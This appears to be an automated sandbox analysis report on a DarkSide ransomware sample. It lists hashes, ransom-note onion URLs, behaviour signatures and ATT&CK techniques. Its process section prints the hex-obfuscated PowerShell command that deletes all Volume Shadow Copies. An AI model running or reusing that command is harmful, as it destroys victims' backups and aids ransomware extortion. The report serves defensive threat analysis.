Analysis
-
max time kernel
120s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
13/03/2025, 18:53
General
-
Target
2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe
-
Size
40KB
-
MD5
1d799fb2da06be5fa821394bbbada9f0
-
SHA1
9b85d4729aa2ccbd4e87c2d834a827b2277cfa3d
-
SHA256
74f81828fa61650baef0ea57869be1f664b7acb0a834592a118ec7bc0291bf40
-
SHA512
4ef2876589a1090ca8b29b0696e0562f81d934b94b44ae1144ec7e9443b5629e0be66e6fd8296f76fc763c58b7977f6d30a70832442c972195240b5005ef52ec
-
SSDEEP
384:/oyzEpcGhIxJl9JEdauBNa/nu333s8JrxRMt0GNtslmlLpB1pyLloyGw6Bm7lpIt:/o4EpThIpEdauX3hS/sj5kGudUj9Vg
Malware Config
Extracted
C:\Users\README.45d07fdc.TXT
darkside
http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC
http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68
Signatures
-
DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
-
Darkside family
-
Renames multiple (142) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
-
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
-
Browser Information Discovery 1 TTPs
Enumerate browser information.
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
-
Suspicious use of AdjustPrivilegeToken 24 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe"C:\Users\Admin\AppData\Local\Temp\2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
7KB
MD5240bd13f21315a86507a7435e41761aa
SHA168578a99645845a39d82b0c911fcae13b77706eb
SHA25638c199394d40285b7b2d188e051286a52638d559cba4b791a03c6b4c4af11a52
SHA512bec3816c640d6b1cb38ebb523dc12d9876753a53554fdd58718725d52584f5d1768c10c398d3fb21b3015841252075763448016f6b380a13d1dea6bf3214cf72
-
Filesize
2KB
MD525d0b19a0ec34a39dfa3e177866f01a3
SHA1a3704d1f6499738ccd694bdd6008a850c6b2e453
SHA256f030ee74e406acb06d43e73c5127df0206e8affc85b95e9895b100d89391dea8
SHA512ede7562f04b5f9abf792196ae87d82e14d651dc70e9a5b5ec0e9cb14d13aba27f8ebfacda2191de48dff882131dfad8c7bad51e7fb89b71dd3bbe748adc77198
-
Filesize
4KB
-
Filesize
9.6MB
-
Filesize
2.9MB
-
Filesize
32KB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB